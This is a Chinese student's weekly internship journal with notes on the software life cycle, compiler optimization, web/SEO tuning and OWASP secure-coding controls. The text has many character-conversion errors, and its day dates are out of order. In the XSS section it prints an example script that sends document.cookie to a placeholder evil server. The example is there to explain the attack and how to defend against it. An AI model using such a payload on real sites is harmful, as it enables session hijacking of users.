[CATARC_2017] 第八週

第一天 (6.26)

從國哥那裏獲得了最終項目的要求和相關資料

SDLC（Software Development Life Cycle），即軟件生命週期，軟件生存週期，是軟件的產生直到報廢的生命週期，週期內有問題定義、可行性分析、整體描述、系統設計、編碼、調試和測試、驗收與運行、維護升級到廢棄等階段，這種按時間分程的思想方法是軟件工程中的一種思想原則，即循序漸進、逐步推動，每一個階段都要有定義、工做、審查、造成文檔以供交流或備查，以提升軟件的質量。但隨着新的面向對象的設計方法和技術的成熟，軟件生命週期設計方法的指導意義正在逐步減小。

需求安全建議

次日 (6.27)

寫ELV需求文檔 大創報銷第一次書籍購買 Dying...

第三天 (6.14)

 

編譯過程當中可進行的優化可按階段劃分：優化可在編譯的不一樣階段進行，分爲 中間代碼一級和 目標代碼一級的優化。可按優化涉及的程序範圍劃分：對同一階段，分爲局部優化,循環優化和全局優化. 進行優化所須要的基礎是對代碼進行數據流分析和 控制流分析。如劃分 DAG，查找循環，分析 變量的定值點和引用點等等。最經常使用的代碼優化技術有刪除多餘運算，循環不變代碼外提，強度削弱，變換循環控制條件，合併已知量與複寫傳播，以及刪除無用賦值等等。

靜態網頁與 動態網頁主要根據網頁製做的語言來區分：

·靜態網頁使用語言： HTML（超文本標記語言）

·動態網頁使用語言：HTML+ ASP或HTML+ PHP或HTML+ JSP等。

網站源碼能夠分爲動態源碼和靜態源碼：

·動態源碼：ASP、PHP、JSP、.net、CGI等等,動態源碼最大的特色就是可以和用戶之間互動。

·靜態源碼： html、 Flash、 JavaScript、 VBScript等等。[2]  

局部優化

在編譯原理中,局部優化指在程序的一個基本塊內進行的優化。[1]  

基本塊

一順序執行的最大語句序列，只有唯一入口和唯一出口，且分別對應該序列的第一個語句和最後一個語句 。[1]  

基本塊特色

基本塊內的語句是順序執行的，沒有轉進轉出，分叉匯合 。[1]  

基本塊劃分

第1步：肯定每一個基本塊的入口語句。[1]  

根據基本塊的結構特色，它的入口語句是下述三種類型的語句之一:⑴ 程序的第一個語句；⑵ 由條件轉移語句或無條件轉移語句轉移 到的語句；⑶ 緊跟在條件轉移或無條件轉移後面的語句。[1]  

第2步：根據肯定的基本塊的入口語句，構造其所屬的基本塊。[1]  

⑴ 由該入口語句直到下一個入口語句(不包含下一個入口語句)之間的全部語句構成一個基本塊；⑵ 由該入口語句到程序中的中止或暫停語句或最後一個語句(包含該中止或暫停或最後語句)之間的語句序列組成的。[1]  

第3步：凡是未包含在基本塊中的語句，都是程序的控制流不可到達的語句，直接從程序中刪除。[1]  

要點

一. 儘可能採用 div+css佈局您的頁面，div+css佈局的好處是讓 搜索引擎爬蟲可以更順利的、更快的、更友好的爬完您的頁面；div+css佈局還能夠大量縮減網頁大小，提升瀏覽的速度，使得代碼更簡潔、流暢、更容易放置更多內容。

二. 儘可能縮減您的頁面大小，由於 搜索引擎爬蟲每次爬行您的站點時，存儲數據的容量有限，通常建議100 KB如下，越小越好，但不能小於5KB。網頁大小減小還有一個好處，可以促使您的站點造成巨大的內部連接網。

三. 儘可能少用無用的圖片和 flash。內容索引所派出的 搜索引擎爬蟲，不認識圖片，只能根據 圖片「 ALT, TITLE」等屬性的內容判斷圖片的內容。對於 flash 搜索引擎爬蟲更是視而不見。

四. 儘可能知足 w3c標準， 網頁代碼的編寫知足W3C標準，可以提高網站和 搜索引擎的友好度，由於 搜索引擎收錄標準，排名算法，都是在 W3C標準的基礎上開發的。

五. 儘可能更深層次套用標籤 h1、h二、h三、h四、h5…..，讓 搜索引擎可以分辨清晰網頁那一塊很重要，那一塊次之。

六. 儘可能少用 JS，JS代碼所有用外部調用文件封裝。 搜索引擎不喜歡JS，影響網站的友好度指數。

七. 儘可能不使用 表格佈局，由於 搜索引擎對錶格佈局嵌套3層之內的內容懶的去抓取。 搜索引擎爬蟲有時候也是比較懶的，望各位必定要保持代碼和內容在3層之內。

八. 儘可能不讓CSS分散在HTML標記裏，儘可能封裝到外部調用文件。若是CSS出如今 HTML標記裏， 搜索引擎爬蟲就要分散注意力去關注這些對 優化沒有任何意義的東西，因此建議封裝到專用CSS文件中。

九.清理垃圾代碼，要把代碼編輯環境下敲擊鍵盤上的 空格鍵所產生的符號；把一些默認屬性代碼，不會影響顯示的代碼；註釋語句若是對代碼可讀性沒有太大影響，清理這些垃圾代碼，會減小很多的空間。

html優化

html代碼是最爲基礎的網站製做語言，對於網站優化來講，html代碼也有必定的影響，是特別須要注意的優化細節之一。

title標籤

title標籤就是網頁的標題，是一個對於網站優化有很大影響的html標籤，每一個頁面都必須有且內容不一樣！基本格式爲<title>網頁標題。</title>

META元素

meta元素在瀏覽器界面是沒法看到的html標籤，對於優化有影響的主要有兩個，一個是關鍵字（keywords）、一個是描述（description）。其實，這兩個標籤隨着seoer的胡亂使用，對於網站優化已經沒有多少用處了，你徹底能夠不用設定，但咱們仍是習慣性的設置一下較爲穩當。關鍵字，設定與本頁內容相關的主關鍵詞一到三個，之間用英文狀態下的逗號分割。須要注意的是，不要再濫用關鍵字，除了給搜索引擎很差的印象外別無他用。描述仍是頗有用的一個東東了，雖然對於網站的優化排名麼有多大的影響，但會做爲搜索引擎展現網站索引的一個依據，能夠把你的主關鍵字連接起來組合成一段通順的話，通常60到80字便可。格式爲:
　　<meta name="keywords"content="">
　　<metaname="description"content="">

h標籤

h標籤在html代碼中是「標題」的意思，就如一篇文章，標題是文章最爲重要的一個對象，也是搜索引擎在排名時重點考慮的一個對象。html中的h標籤一共有六個，分別是h1/h2/h3/h4/h5/h6，分別表明不一樣的級別，咱們稱之爲一級標題、二級標題……固然，一級標題具有更多的權重。須要注意的是h標籤是塊級元素，默認是粗體顯示，獨佔一行，先後會有空行。固然，你能夠利用css來改變這些效果。

關於h標籤的使用，須要根據實際狀況來使用，不可任意濫用。如一篇文章，不可能出現多個一級標題，因此h1，在同一個頁面中只能出現一次，而h2等則能夠出現屢次，根據你須要表現的內容的重要程度，分別使用不一樣的h標籤便可。特別注意，h標籤中最好出現關鍵字！還有就是，隨其天然，萬不可刻意地用h標籤來處理某些關鍵字！

基本格式爲：<h1>這裏是標題文字</h1>

增強和強調

strong被認爲是「增強」，em被認爲是「強調」，也就是這兩個標籤是有特殊含義的，這對於網站優化相當重要。多數時候，咱們在優化網站時會對關鍵字進行突出，這時使用strong或em就比使用B或者I好不少，特別謹記！

alt和title

alt是圖像中的註釋，title是圖像或連接的標題，這二者對於優化，尤爲是圖像的優化相當重要，但也不要濫用！通常在插入圖像時，咱們在alt中設置圖像的描述內容，其中能夠包含關鍵字但不要故意堆砌，title則看成圖像標題來處理。特別須要注意的是，這些內容是不能夠重複的！也就是說，當你的頁面中有多張圖像，你不能每張圖像的描述和標題都設置成同樣的，這樣很容易被搜索引擎懲罰！
　　<img src="test.jpg"alt="一個美女站在黃昏的街頭默默等待愛人的迴歸，眼神中充滿了憂傷"title="靜待">

除此以外，title屬性在a標籤中也有所使用，只是有些氾濫了，視覺效果也很差，影響用戶體驗，因此筆者並不推薦，除非你的a標籤中的內容是一張圖片。
　　<a href="product.html"title="產品展現">產品展現</a>

縮寫abbr

這個標籤是自定義的一種縮寫方式，能夠利用它合理的添加一些關鍵字，一樣不要濫用。以下所示：
　　公司的產品涉及<abbr title="以石材爲原料的雕刻做品">石雕</abbr>、<abbr title="以銅料爲胚，運用雕刻、鑄塑等手法制做的一種造型藝術">銅雕</abbr>、<abbr title="附屬在某一平面上的雕刻藝術">浮雕</abbr>、鏤雕等各類雕刻形式。

canonical標籤

Canonical[3]   (權威連接標記)是09年，Google，Yahoo及Microsoft三大搜索引擎聯合推出了一個旨在減小重複內容的一個建議，並非命令，也就是說這個標籤搜索引擎可能不遵照。國內最大的中文搜索引擎百度也已經支持Canonical標籤。

部分搜索引擎引入了Link的一個新屬性Canonical。A頁面聲明B爲權威連接，B聲明C爲權威網頁，則搜索引擎會認爲C是A和B共同的首選權威版本。此時Canonical標籤起到了301重定向的做用。

只能做用於同一個域名所在的網址，不能做用於不一樣域名上的重複內容。也就是說若是文章被其它網站抄襲，也不會由於這個標籤而給你的原文章帶來權重。若是是跨站，可使用301重定向。該連接標籤可用於定義 相對地址，也可用於定義 絕對地址。但爲了保險起見，建議使用 絕對地址。

使用方法：爲網頁指定權威連接（authoritative|canonical URL），以解決副本內容（duplicate content）問題。

使用樣式：<link rel=」canonical」 href=」網頁權威連接」/>

css優化

於網站排名優化來講，css的幾乎沒有任何影響，但往大的方向如網站優化來講，樣式表css的優化就相當重要了，其主要做用便是提升網頁的響應速度。

外鏈css

css的使用有多種方式，一是嵌入式，即在html標籤中直接定義樣式表，以下所示:<p style="font-family:arial;font-size:16px;font-weight:bold;">Outside now its raining,and tears are falling from my eyes…</p>

還有一種是直接定義在頁面頭部的以下：<styletype="text/css">p{ background:#f1f1f1; color:#333; line-height:20px;} </style>

這兩種方式都是把css寫在當前html中，這樣會形成hml文檔變大，下降網頁的響應速度，因此咱們須要外鏈css，將全部與本頁面相關的樣式寫入到該樣式表中：<link href="style/common.css"rel="stylesheet"type="text/css"/>

精簡css

對於這一點須要必定的css能力才能夠作到了。所謂精簡，指的是用盡量少的樣式代碼實現整個網頁的樣式效果，須要充分利用css的繼承和綜合使用，舉一個簡單的例子來講明。如頁面中的連接，所有不須要下劃線、大部分爲12像素，但連接的顏色並不相同，個別的字體效果也不相同，咱們就能夠這樣來寫：

a{ text-decoration:none; font-size:12px;}/*定義通用a樣式*/
　　a.a_red{ color:#e00;}
　　a.a_blue{ color:#009;}
　　a.a_menu{ color:#fff; font-size:14px; font-weight:bold;}/*針對特殊a標籤只指定特殊樣式*/

由於css的繼承做用，a_red和a_blue都具有沒有下劃線、12像素這同樣式，而a_menu一樣具有沒有下劃線，但因指定了大小，就再也不繼承12像素的指定而使用14像素……

整合css

通常狀況下，前端製做人員喜歡把通用樣式寫成一個文件，把專用樣式寫成另外一個文件以便各個頁面調用。如筆者，就喜歡把頁面通用樣式（包括通用的佈局樣式、文字樣式等）寫在common.css中，而把專用的寫在另外一個樣式表中。如首頁，咱們就須要調用common.css和index.css兩個樣式表文件。這樣作，對於前端來講是正確的。但對於優化，卻不太好。多一個文件調用就須要多一次請求，固然也會多耗費一點時間。因此，在網站製做完成後，咱們須要把頁面的全部樣式合併大一塊兒以提升網頁的響應速度！但需注意，合併css不利於網站後期整改，權衡利弊各取所需吧，具體是否合併還需根據你的實際狀況而定。

 

壓縮css

壓縮css其實很簡單，就是去掉多餘的空格和換行。實現起來也很是的簡單，網上有不少工具，請自行搜索「css壓縮」便可找到不少在線壓縮工具。同上面一點，壓縮後的css不便於後期整改，須要本身權衡取捨。

 

script優化

javascript代碼對於網站排名優化一樣沒有多大影響，但從網站優化的角度來看倒是相當重要的一步優化操做，優良的javascript代碼能夠大幅度提高網頁的響應速度！

 

外鏈js代碼

js代碼跟css的使用差很少，都有三種方式：

內部定義：<A onclick="if(confirm('確認？'){...}else{...})"href="#">confirm</A>
　　頭部插入：<script>...</script>
　　外鏈調用：<SCRIPT language=javascript type=text/javascript src="jquery-1.7.2.min.js"></SCRIPT>

精簡js代碼

這一點須要更爲專業的js技術才能作到，儘量根據須要實現的效果編寫js，而不用從網上找一段代碼直接拿來用，網上的代碼不少功能很全，從而質量很大，而其中的不少功能對於咱們要實現的效果是沒有任何用處的，因此廣拓企業網站建議你針對須要實現的效果定製js以便獲得更爲精簡的代碼，從而提升網頁的響應速度。

 

壓縮js代碼

對於這點，網上也有不少的工具，請百度查詢「js壓縮工具」便可。

 

置底js

通常狀況下，咱們都是把js放到head之間的，這種方式在頁面加載時即會加載，固然也就致使響應速度的下降，百度站長平臺建議把js放到頁面最底部，也就是</html>以外。等html加載完畢以後才加載js代碼，固然，有部分特殊功能的js代碼是沒有辦法放到頁面底部的，具體請根據實際狀況操做。

補充說明：針對js圖像特效等，可能會影響網站關鍵字排名的！有的特效圖像的路徑、說明等都是寫入到js中的，這種特效儘可能不要使用。

優化禁忌

·究竟要優化什麼？

在優化工做開始的時候，你還還沒有明確優化內容和目的，那麼你很容易陷入誤區。在一開始，你就應該清楚地瞭解你要達到的效果，以及其餘優化相關的各類問題。這些目標須要明確指出（至少精通技術的項目經理能夠理解和表達它），接下來，在整個優化過程當中，你須要堅持這些目標。

在實際的項目開發中，常常會存在各類各樣的變數。可能一開始時要優化這一方面，隨後你可能會發現須要優化另外一方面。這種狀況下，你須要清晰地瞭解這些變化，並確保團隊中的每一個人都明白目標已經發生了變化。

·選擇一個正確的優化指標

選擇正確的指標，是優化的一個重要組成部分，你須要按照這些指標來測量優化工做的進展狀況。若是指標選擇不恰當，或者徹底錯誤，你所作的努力有可能白費了。
　　即便指標正確，也必須有一些辨別。在某些狀況下，將最多的努力投入到運行消耗時間最多的那部分代碼中，這是實用的策略。但也要記住，Unix/Linux內核的大部分時間花費在了空循環上。
　　須要注意的是，若是你輕易選擇了一個很容易達到的指標，這做用不大，由於沒有真正解決問題。你有必要選擇一個更復雜的、更接近你的目標的指標。

·優化在刀刃上

這是有效優化的關鍵。找到項目中與你的目標（性能、資源或其餘）相背的地方，並將你的努力和時間用在那裏。
　　舉一個典型的例子，一個Web項目速度比較慢，開發者在優化時將大部分精力放在了數據庫優化上，最終發現真正的問題是網絡鏈接慢。
　　另外，不要分心於容易實現的問題。這些問題儘管很容易解決，但可能不是必要的，或與你的目標不相符。容易優化並不意味着值得你花費工夫。

·優化層次越高越好

在通常狀況下，優化的層次越高，就會越有效。根據這個標準，最好的優化是找到一個更有效的算法。舉個例子，在一個軟件開發項目中，有一個重要的應用程序性能較差，因而開發團隊開始着手優化，但性能並無提高太多，以後，項目人員交替，新的開發人員在檢查代碼時發現，性能問題的核心是因爲在表中使用了冒泡排序算法，致使成千上萬項的增長。
　　儘管如此，高層次的優化也不是「銀彈」。一些基本技術，如將全部東西移到循環語句外，也能夠產生一些優化的效果。一般狀況下，大量低層次的優化能夠產生等同於一個高層次優化的效果。
　　還須要注意的是，高層次優化，會減小一些代碼塊，那麼你以前對這些代碼塊所作的優化就沒有任何意義了，所以，剛開始就應該考慮高層次的優化。

·不要過早優化

在項目早期就進行優化，會致使你的代碼難以閱讀，或者會影響運行。另外一方面，在項目後期，你可能會發現以前所作的優化沒有起到任何做用，白白浪費了時間和精力。正確的方式是，你應該將項目開發和優化看成兩個獨立的步驟來作。

·依賴性能分析，而不是直覺

你每每會認爲你已經知道哪裏須要優化，這是不可取的，尤爲是在複雜的軟件系統中，性能分析數據應該是第一位的，最後纔是直覺。
　　優化的一個有效的策略是，你要根據所作工做對優化效果的影響來進行排序。在開始工做以前找到影響最大的「路障」，而後再處理小的「路障」。

·優化不是萬金油

優化最重要的規則之一是，你沒法優化一切，甚至沒法同時優化兩個問題。好比，優化了速度，可能會增長資源利用；優化了存儲的利用率，可能會使其餘地方放慢。你須要權衡一下，哪一個更符合你的優化目標。[4]  

第四天 (6.15)

 

第五天 (6.16)

總結實訓

技術經驗總結: OWASP構建安全應用的十大控制措施

參數化查詢

SQL注入是Web應用中最危險的漏洞之一，由於SQL注入較爲容易被黑客探測到而且會給應用帶來毀滅性的打擊。只需在你的Web應用中注入一條簡單的惡意SQL，你的整個數據庫可能就會被竊取、擦除或者篡改。在運行數據庫的主機上，甚至能夠藉助Web應用執行危險的操做系統命令。

爲了防止SQL注入，開發人員必須阻止那些不可信任的輸入，這些輸入將會解析成爲SQL命令的一部分。要實現這一點，最好的一種方式就是使用被稱作查詢參數化（Query Parameterization）的編程技術。

例如，在Java之中，查詢參數化以下所示：

String newName = request.getParameter("newName"); 
String id = request.getParameter("id"); 
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?");  
pstmt.setString(1, newName);  
pstmt.setString(2, id);

在PHP之中，查詢參數化樣例以下所示：

$email  = $_REQUEST[‘email’]; 
$id’= $_REQUEST[‘id’]; 
$stmt = $dbh->prepare(」update users set email=:new_email where id=:user_id」);  
$stmt->bindParam(':new_email', $email); 
$stmt->bindParam(':user_id', $id);

 

對數據進行編碼

編碼（encoding）是一個很強大的工具，它有助於防範不少類型的攻擊，尤爲是注入攻擊。本質上來說，編碼就是將特殊字符轉換成對等的字符，可是轉換後的字符對於目標解析器來講再也不是敏感的。關於編碼的一個樣例就是防止跨站腳本攻擊（XSS，Cross Site Scripting）。

Web開發人員常常會動態地構建Web頁面，頁面中包含開發人員構建的HTML/JavaScript代碼以及數據庫中的數據，而這些數據最初是由用戶輸入的。輸入的數據應該被視爲不可信任且危險的，在構建安全的Web應用時，須要對其進行特殊的處理。當攻擊者欺騙你的用戶執行惡意的JavaScript時，就會發生跨站腳本攻擊或者更恰當地稱之爲JavaScript注入，這些JavaScript腳本最初是構建到Web站點中的，XSS攻擊會在用戶的瀏覽器中執行，所以會產生各類各樣的影響。

例如，XSS站點塗改：

<script>document.body.innerHTML(「Jim was here」);</script>

XSS session竊取：

<script> var img = new Image(); 
img.src="hxxp://<some evil server>.com?」 + document.cookie; 
</script>

持久化XSS（Persistent XSS）或存儲XSS（Stored XSS）指的是XSS攻擊嵌入到了站點的數據庫或文件系統之中了。這種XSS更爲危險，由於當攻擊執行的時候，用戶已經登陸站點了。當將XSS攻擊置於URL的結尾處時，會發生反射XSS（Reflected XSS），它會欺騙受害者訪問該URL，當訪問的時候攻擊就會觸發。

阻止XSS的關鍵編程技術就是輸出編碼，它會在輸出的時候執行，若是你構建用戶界面的話，也就是在將非信任的數據添加到HTML中的時候。可以阻止XSS的編碼形式包括HTML實體編碼、JavaScript編碼以及百分號編碼（也稱爲URL編碼）。

 

校驗全部的輸入

編寫安全應用時，很重要的一點就是將全部來自於應用外部的輸入（如來自於瀏覽器或移動客戶端，來自於外部系統或文件）均視爲不可信任的。對於Web應用來講，這包括HTTP頭、cookies以及GET和POST參數，總而言之也就是任何攻擊者能夠入侵的數據。

構建安全Web應用的一個重要方法就是限制用戶可以提交到Web應用之中的輸入。限制用戶輸入的技術稱之爲「輸入校驗」。在Web應用的服務器端，輸入校驗一般會用到正則表達式。

有兩種輸入校驗，分別爲「白名單」和「黑名單」校驗。白名單試圖定義好的輸入是什麼樣子的，任何不匹配「好輸入」定義的輸入都會被拒絕。「黑名單」校驗會試圖探測已知的攻擊，只會拒絕這些攻擊和非法字符。黑名單校驗更爲困難，由於能夠經過編碼或其餘假裝技術繞過，因此在構建安全Web應用時並不推薦使用。

但有些時候正則表達式是不夠的，若是你的應用要處理markup，也就是不受信任的輸入中會包含HTML片斷，這樣的話會很難進行校驗，編碼也是很困難的，由於編碼的話會破壞輸入中的標籤。此時，會須要一個可以解析和清理HTML格式文本的庫，如OWASP Java HTML Sanitizer。

 

實現適當的訪問控制

受權（Authorization，Access Control）過程指的是請求要訪問特定資源時，須要判斷該請求是該准許仍是拒絕。訪問控制可能會很是複雜，在應用開發的初始階段，須要考慮到一些「積極」的訪問控制設計需求。在軟件的安全設計中，訪問控制是很重要的一塊內容，所以事先須要進行充分考慮：

強制全部的請求都經過訪問控制檢查

大多數的框架和語言只會檢查程序員指定的特性，可是與之相反的作法是更以安全爲中心的。能夠考慮使用過濾器或其餘的自動化機制以保證全部的請求都要經歷某種類型的訪問控制檢查。

• 默認拒絕

結合自動化的訪問控制檢查，須要考慮拒絕訪問全部沒有配置訪問控制的特性。可是一般狀況下會採起相反的作法，也就是新建立的特性會自動容許全部用戶訪問，直到開發人員爲其配置了安全檢查的功能。

在代碼中，要避免硬編碼基於策略的訪問控制檢查

一般狀況下，訪問控制策略是硬編碼在應用之中的。這樣的話，審計或證實軟件的安全性會變得很是困難且耗時。若是可能的話，訪問控制策略和應用代碼應該分離開來。

• 針對活動編碼

在大多數的Web框架中會將基於角色的訪問控制做爲主要方法。儘管在訪問控制機制中，使用角色是能夠接受的，可是在應用代碼中針對特定的角色編碼是一種反模式。在代碼中要考慮用戶是否是有權限訪問某個特性，而不是檢查用戶具有什麼樣的角色。

驅動訪問控制檢查的是服務端的可信數據

在做出訪問控制決策的時候，會涉及到不少的數據（登陸的用戶是誰、這個用戶具有什麼樣的權限、訪問控制策略是什麼、請求的特性和數據是什麼、時間是什麼、地理位置是哪裏），這些數據應該經過「服務器端」標準的Web或Web服務應用來獲取。策略數據，如用戶角色和訪問控制規則決不能做爲請求的一部分。在標準的Web應用中，訪問控制惟一須要的客戶端數據就是要訪問數據的id。做出訪問控制決策的大多數其餘數據須要從服務器端獲取。

 

創建識別和認證控制

認證過程指的是校驗我的或實體是否是就是其所宣稱的那我的。一般來說，認證須要提交用戶名或id，以及只有指定用戶才能知道的一條或多條私人信息。

會話管理指的是服務器端要維護與之交互的實體的狀態。這就須要服務器可以記住整個事務期間如何與後續的請求進行交互。在服務器端，會話經過一個會話標識符來進行維護。

識別管理是一個很普遍的話題，不只僅包括認證和會話管理，還包括一些高級話題，如聯合身份驗證（identity federation）、單點登陸、密碼管理工具等等。

 

保護數據和隱私性

當傳輸敏感的數據時，無論是在應用或網絡架構的哪一層，都須要考慮以某種方式進行傳輸加密。對於應用傳輸加密來說，SSL/TLS是目前最多見和普遍支持的一種模型。

關於數據安全，很重要的一點在於要對系統中的數據進行分類，並肯定哪些數據須要進行加密。 另外，還要保護正在處理中的數據，這些數據位於內存之中，可能更易於獲取到。

 

實現日誌和入侵探查

應用的日誌不該該是過後才考慮的事情，也不該該侷限於調試或解決問題，它應該在其餘重要的事情上發揮做用。安全事件的日誌與進程監控、審計或事務日誌在採集的目的上每每是不同的，所以一般會進行區分。日誌不要記得太多也太能太少，須要記住的一點是不要記錄私人或敏感數據。爲了防止日誌注入（Log Injection），在記錄前要對非信任的數據進行校驗或編碼。

OWASP AppSensor項目定義了概念化的框架和方法論，經過規範化的指導爲已有的應用實現侵入探測和自動化響應。

 

使用框架和安全庫的安全特性

若是對於每一個Web應用都從頭開發安全控制功能的話，那會很是浪費時間而且會產生大量的安全漏洞。安全的代碼庫能夠幫助開發人員注意安全相關功能的設計，並避免實現中漏洞。

若是能夠的話，要儘量使用框架已有的特性，而不是引入第三方庫。能夠考慮的Web應用安全框架包括：Spring Security和Apache Shiro。還有一點就是要及時更新這些框架和庫。

 

將安全相關的需求考慮在內

在軟件開發項目的初期，須要定義三類安全相關的需求：

   安全特性和功能：系統中可見的安全控制，包括認證、訪問控制以及審計功能。這些需求一般會包含在用例或用戶故事中，Q/A人員能夠評估和測試功能的正確性。

   業務邏輯的濫用場景（abuse cases）：業務邏輯一般是包含多個步驟、多個分支的工做流程，這些需求的用戶故事或用例應該包含異常和失敗的場景，而且包含在「濫用場景」下的需求。濫用場景描述了在遭到攻擊者破壞時，一項功能該是什麼樣子的。考慮到失敗和濫用場景會發現校驗和錯誤處理中的弱點，從而提高應用的可靠性和安全性。

   數據分類和隱私的需求：開發人員應當時刻注意系統中任何的私人和敏感數據，並確保它們是安全的。這會促使在系統中採用數據校驗、訪問控制、加密、審計以及日誌控制等功能。

 

在設計和架構時，將安全考慮在內

在進行系統的架構和設計時，有一些安全相關的因素須要進行考慮，包括： 瞭解你所擁有的工具：你所選擇的語言和平臺會產生技術相關的安全風險和考量因素，開發團隊必需要有所理解並進行管理。 分層、信賴以及依賴：在安全的架構和設計中，另一個很重要的部分就是分層和信賴。肯定在客戶端、Web層、業務邏輯層以及數據管理層要進行什麼樣的控制，以及不一樣系統間或同一個系統的不一樣部分之間，在什麼地方創建信賴關係。信賴的邊界肯定了應該在什麼地方進行認證、訪問控制、數據校驗和編碼、加密以及日誌記錄。當對系統進行設計或設計變動時，要確保對信賴假設有充分的理解，而且這些假設是合法且一致的。 管理受攻擊面：注意系統的受攻擊面（attack surface），也就是攻擊者能夠攻入系統、獲取數據的方式。當你增長受攻擊面時，要進行風險評估。你是否是引入了新的API或改變了系統中具備較高安全風險的功能，或者只是爲已有頁面或文件添加一個新的域？